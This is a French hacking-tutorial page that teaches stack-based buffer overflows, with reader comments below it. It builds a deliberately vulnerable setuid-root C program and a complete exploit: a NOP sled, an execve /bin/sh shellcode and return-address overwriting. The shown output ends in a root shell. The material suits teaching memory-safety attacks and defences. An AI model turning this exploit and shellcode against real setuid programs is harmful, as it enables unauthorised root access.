Les Buffer-Overflows


<< Les buffer-overflows Les heap-based overflows >>


II°) Exploiter un stack-based overflow

   Afin de simplifier l'exploitation, nous avons légèrement modifié le programme précédent :
    //stack-based_overflow.c : Dépassement de mémoire tampon 2


    void enregistrer_nom(char *nom_saisi) {

      char buffer_nom[100];

      strcpy(buffer_nom,nom_saisi);

      //Enregistrement du nom...

      printf("Votre nom, %s, a été enregistré avec succès\n",buffer_nom);
    }

    int main(int argc, char *argv[]) {

      if (argc != 2) {
        printf("Usage : %s < Votre nom >\n",argv[0]);
        exit(0);
      }

      enregistrer_nom(argv[1]);

      printf("Tout s'est normalement déroulé\n");

      return 0;
    }

En fait, nous avons juste ajouté un bloc au début du main() qui permet de vérifier qu'il y a bien eu un argument et un seul de spécifié, ainsi que les arguments de la fonction main() qui permettent de récupérer les options passées à la commande. Cette fois, le programmeur, ayant entendu parler des buffer-overflows, a décidé d'allouer 100 caractères pour le buffer à remplir, ainsi, aucun nom ne pourra dépasser du tableau. Voici donc un exemple de fonctionnement du programme :
    $ gcc -z execstack -fno-stack-protector -m32 stack-based_overflow.c -o stack-based_overflow
    $ ./stack-based_overflow
    Usage : ./stack-based_overflow < Votre nom >
    $ ./stack-based_overflow SeriousHack
    Votre nom, SeriousHack, a été enregistré avec succès
    Tout s'est normalement déroulé
    $

Afin de rendre ce programme réellement vulnérable, faisons-en un SRP ; avec le compte root, on fait :
    # chown root.root stack-based_overflow
    # chmod +s stack-based_overflow
    # ls -l stack-based_overflow
    -rwsr-sr-x 1 root root 7163 2007-07-30 03:47 stack-based_overflow
    #

Nous avons donc repéré un suid root program, il faut maintenant trouver comment l'exploiter. L'idée, nous l'avons vu, est de réécrire l'adresse de retour qui sera lue après l'éxécution de "enregistrer_nom()". Aussi, il nous faudra injecter ce qu'on appelle bytecode en mémoire (du code assemblé, exécutable directement par le système). Nous allons nous concentrer sur un type particulier de bytecode, le shellcode qui consiste comme son nom l'indique en l'ouverture de shells. Pour ce, nous allons recréer un deuxième buffer, appellé crafted buffer, ou buffer travaillé. Comme son nom l'indique, nous allons le façonner de façon à ce que l'adresse de retour puisse être réécrite et permette l'éxécution du shellcode qui aura été injecté quelque part dans la mémoire. En fait, le buffer travaillé va lui-même contenir tous ces éléments. De façon générale, un crafted buffer contient trois éléments mis à la suite : le NOP sled (la luge sans opérations), le shellcode et l'adresse de retour répétée bout-à-bout plusieurs fois. Le NOP sled est juste une suite de caractères NOP (No OPeration), le caractère 0x90 pour les processeurs Intel. Si EIP tombe dans la luge sans opérations, il va effectuer chacune des instructions NOP et passer à la suivante, jusqu'à arriver au shellcode. On dit que l'EIP glisse dans le buffer. Quant au shellcode, savoir en écrire un est un métier en soi-même, vous pouvez vous reporter à la section sur l'écriture de shellcode. Voici le programme d'exploitation que je vous propose pour cet exemple :
    //stack-based_exploit.c : Exploitation d'un dépassement de mémoire dans la pile

    #define OFFSET 164
    #define LONG_NOPSLED 40
    #define LONG_BUFFER 109



    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

      //Ce shellcode est tiré de feu http://shellcode.org/shellcode/linux/null-free/

    unsigned long stack_pointer() {
      __asm__("movl %esp, %eax");
    }

    int main() {

      int i;
      long *temp_addr,ret_adr_eff,esp;
      char *buffer,*temp_ptr;

      buffer = malloc(LONG_BUFFER);

      ret_adr_eff = stack_pointer();
      ret_adr_eff -= OFFSET;

      temp_ptr = buffer;
      temp_addr = (long *) temp_ptr;

      printf("Adresse cible à 0x%x (offset de 0x%x)\n",ret_adr_eff,OFFSET);

      for (i=0;i < LONG_BUFFER;i+=4) //Injection de l'adresse de retour
        *(temp_addr++) = ret_adr_eff;

      for (i=0;i < LONG_NOPSLED;++i) //Injection du NOP sled
        buffer[i] = '\x90';

      temp_ptr += LONG_NOPSLED;

      for (i=0;i < strlen(shellcode); i++) //Injection du shellcode
        *(temp_ptr++) = shellcode[i];

      buffer[LONG_BUFFER - 1] = 0;

      execl("./stack-based_overflow","stack-based_overflow",buffer,0);

      free(buffer);

      return 0;
    }

Pour tester cette exploitation, nous utilisons une vieille technique, qui consistait à évaluer l'adresse du buffer dans la pile du programme vulnérable, en regardant l'adresse de la pile dans un autre programme lancé dans les mêmes conditions, et en calculant la différence. Le programme ci-dessus reproduit en C exactement ce que l'on a expliqué plus tôt, à savoir la création d'un buffer, l'écriture répétée de l'adresse, le NOP sled puis le shellcode. Un peu plus de détail sur la longueur du buffer (109) et l'OFFSET (164) :
  • Commençons par le plus simple : le buffer. Comme expliqué dans les pages sur la segmentation, quand la fonction enregistrer_nom() est appellée, plusieurs variables sont empilées tour-à-tour. Tout d'abord, les arguments, donc le pointeur *nom_saisi. Puis l'adresse de retour et le frame pointer de la fonction main(), et enfin les variables locales, donc buffer_nom. Puisque le but est de réécrire l'adresse de retour, il faut réécrire tout buffer_nom, plus le frame pointer (4 bytes), puis l'adresse de retour. Cela fait 108 bytes, plus le byte nul qui terminera la chaîne de caractères : 109. Côté NOP sled, il est possible d'en prendre un bien plus large en le placant après l'adresse de retour et non avant, mais cela n'a pas trop d'importance ici.

  • Maintenant, le plus délicat dans notre cas est de calculer l'offset. Nous n'allons pas expliquer en détail cette différence, en premier lieu car cette technique est désormais désuette, mais aussi car la taille varie selon le compilateur utilisé et ses options par défaut. Nous allons essayer d'y aller par tâtonnements : en effet, nous avons le droit à une erreur de 40 octets grâce à l'étendue du NOP sled. Il faut en premier lieu voir la différence entre la pile du programme exploité et celle du programme exploitant : on voit que le main de l'exploitant a 6*4 = 24 bytes en plus pour ses arguments locaux. Comme le programme exploité fait un appel de fonction, il utilise au moins 12 bytes en plus (argument, adresse de retour, frame pointer). Tout ceci fait déjà un décalage de 88 bytes de manière sûre. Le compilateur peut induire des biais supplémentaires (alignement de la pile au début d'une fonction, alignement du buffer sur un multiple de 4 ou 16, ...). Une bonne connaissance de l'assembleur permet d'étudier exactement les différences entre les deux programmes et donc d'avoir une valeur quasi exacte, même si d'autres paramètres peuvent entrer en ligne de compte, comme la longueur du nom du programme ou des valeurs d'environnement. Ainsi, le plus rapide est souvent comme ici de faire une approximation puis d'ajouter la moitié de la longueur du NOP sled à chaque tentative jusqu'à tomber dans le NOP sled.

Il est maintenant temps de tester notre programme d'exploitation :
    $ gcc stack-based_exploit.c -o stack-based_exploit
    $ ./stack-based_exploit
    Adresse cible à 0xbffad724 (offset de 0xa4)

    Votre nom, 
    ë^‰1ÀˆF‰F
    °
    ‰óV
    ̀1ۉØ@̀èÜÿÿÿ/bin/sh×ú¿$×ú¿$×ú¿$×ú¿$×ú¿$×ú¿, a été enregistré avec succès
    sh-3.1# whoami
    root
    sh-3.1#
Et voilà, nous avons réussi à faire apparaître une console root ! Ca valait la peine de s'embêter non ?!
Mais ce n'est pas tout ! Nous allons maintenant nous pencher vers des overflows dans un autre segment de la mémoire : le heap.



<< Les buffer-overflows Les heap-based overflows >>



28 Commentaires
Afficher tous


FrizN 27/02/14 06:16
Je ne vois pas tout à fait ce dont tu parles, tu peux me donner un programme exemple ?

0x0ff 20/02/14 13:57
Bonjour FrizN, saurais-tu m'expliquer pourquoi dans certains cas un programme crash à partir du moment où on lui envoie une chaîne de 1000 octets. Et lorsque l'on analyse la pile et les registres, on se rend compte que l'EIP prend comme valeur 4 octets en plein milieu de ce buffer...
Le programme n'aurait-il pas dû crasher dés l'écrasement de ces 4 octets ? Mettons qu'il s'agisse des 500-504ièmes octets, 504 octets ne devraient-ils pas être suffisant pour faire planter ce programme?

FrizN 08/01/14 08:32
Il faut bien comprendre que la première récupération de esp dans ce cas est seulement une estimation de l'esp au moment de la vulnérablité, pendant l'exécution future du programme victime (lors du execl l'espace d'adressage est réinitialisé).

Littl3d3v1l 08/01/14 06:13
Votre commentaire ici.Bonjour,

Il y a un truc que je ne comprend pas trop dans le calcul de l'offset.

Pourquoi faut il prendre en compte le nombre d'octet que prend les variable local du programme appelant?car lors de l'appel de la fonction stock_pointer on récupère %esp qui est le sommet de la pile non? et au moment ou on l'appelle, les variables locales ont déjà été déclarées et donc sont déja "incluses" dans %esp.

Sinon merci pour ce site, c'est très bien expliqué!




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.